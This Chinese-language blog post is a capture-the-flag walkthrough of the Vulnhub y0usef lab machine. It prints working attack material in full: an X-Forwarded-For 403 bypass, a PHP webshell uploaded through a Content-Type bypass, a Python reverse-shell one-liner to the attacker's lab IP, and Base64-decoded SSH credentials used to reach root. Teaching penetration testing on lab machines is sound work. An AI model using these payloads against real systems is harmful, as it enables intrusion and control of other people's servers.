公司动态

Vulnhub靶场实战:从403绕过到Root权限的完整渗透路径解析

📅 2026/7/16 12:18:18
Vulnhub靶场实战:从403绕过到Root权限的完整渗透路径解析
1. 靶机环境搭建与信息收集Vulnhub的y0usef靶机是一个专为渗透测试初学者设计的练习环境。这个靶机的难度被标记为简单非常适合刚接触Web安全的朋友练手。我们先从基础的环境搭建开始说起。首先需要从Vulnhub官网下载靶机镜像y0usef.ova文件使用VirtualBox导入即可。这里有个小技巧建议将虚拟机的网络模式设置为Host-only或NAT这样可以避免对外网造成影响。我测试时Kali攻击机的IP是192.168.137.116靶机自动获取的IP是192.168.137.20。主机发现阶段我习惯先用arp-scan快速定位同网段设备arp-scan -l这个命令会列出当前局域网所有活跃设备的IP和MAC地址。相比老式的ping扫描arp-scan的优点是速度快且不易被防火墙拦截。果然在输出中发现了192.168.137.20这个陌生IP。接下来用nmap进行全端口扫描nmap -sS -sV -p- -v 192.168.137.20参数解释-sSTCP SYN扫描半开扫描-sV服务版本探测-p-扫描所有65535个端口-v显示详细过程扫描结果显示靶机开放了两个关键端口22/tcpSSH服务不过暂时用不上80/tcpApache httpd 2.4.102. Web应用信息收集实战发现Web服务后我首先用浏览器访问了http://192.168.137.20页面显示正在建设中看来是个默认页面。这种情况我通常会做三件事第一步查看网页源代码按CtrlU查看源码但没发现隐藏注释或敏感信息。有时候开发人员会在注释里留下测试账号这次运气不太好。第二步使用whatweb识别技术栈whatweb http://192.168.137.20输出显示服务器Apache 2.4.10编程语言PHP前端框架Bootstrap操作系统Ubuntu第三步目录爆破这里我选用了dirsearch工具dirsearch -u http://192.168.137.20 -e *关键发现是存在一个敏感路径/adminstration/。但直接访问时返回了403 Forbidden错误说明存在访问控制。3. 精妙的403绕过技巧遇到403错误时很多新手可能会直接放弃。其实有几种经典的绕过方法3.1 HTTP头部注入法最有效的是修改HTTP请求头。我用Burp Suite拦截请求添加以下头部尝试绕过X-Original-URL: /adminstration X-Rewrite-URL: /adminstration原理是有些Web服务器如Nginx会优先处理这些自定义重写头。但这次尝试没有成功。3.2 Host头伪造法当多个网站共享同一服务器时可以通过修改Host头来欺骗服务器Host: localhost不过靶机似乎没有配置虚拟主机这个方法也行不通。3.3 X-Forwarded-For技巧最终成功的是使用IP伪造技术。添加头部X-Forwarded-For: 127.0.0.1服务器误以为请求来自本地于是放行了访问这个技巧在渗透测试中非常实用特别是当管理员只限制了外部IP访问时。4. 突破认证与文件上传漏洞利用成功进入/adminstration后发现是个登录页面。尝试常用弱口令admin/adminadmin/passwordroot/root果然admin/admin成功登录这里有个重要细节后续所有请求都必须携带X-Forwarded-For头否则服务器会再次拒绝访问。文件上传漏洞挖掘在后台发现文件上传功能尝试上传PHP webshell?php system($_GET[cmd]);?但直接被拦截。于是尝试以下绕过方法修改Content-Type为image/png使用双扩展名shell.php.png添加特殊字符shell.p%20hp最终第一种方法奏效成功上传了名为1646209522test.php的webshell。通过访问http://192.168.137.20/adminstration/upload/files/1646209522test.php?cmdid确认可以执行系统命令。5. 权限提升与Flag获取反弹Shell建立为了更方便的操作我用Python建立反弹shellpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.137.116,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);在Kali上先用nc监听nc -lvnp 9999横向移动在/home目录下发现user.txt内容是一串Base64编码解码后得到SSH凭据用户名yousef密码yousef123通过SSH登录后使用sudo -l检查特权命令发现可以直接切换到rootsudo su最终Flag在/root目录下找到root.txt同样经过Base64编码。解码后得到最终的胜利flag完成了整个渗透过程。这个靶机虽然简单但完整展示了从信息收集到权限提升的完整链条。特别是403绕过和文件上传的组合利用在实际Web渗透中非常常见。建议新手可以多尝试几种不同的绕过方法加深对Web服务器安全机制的理解。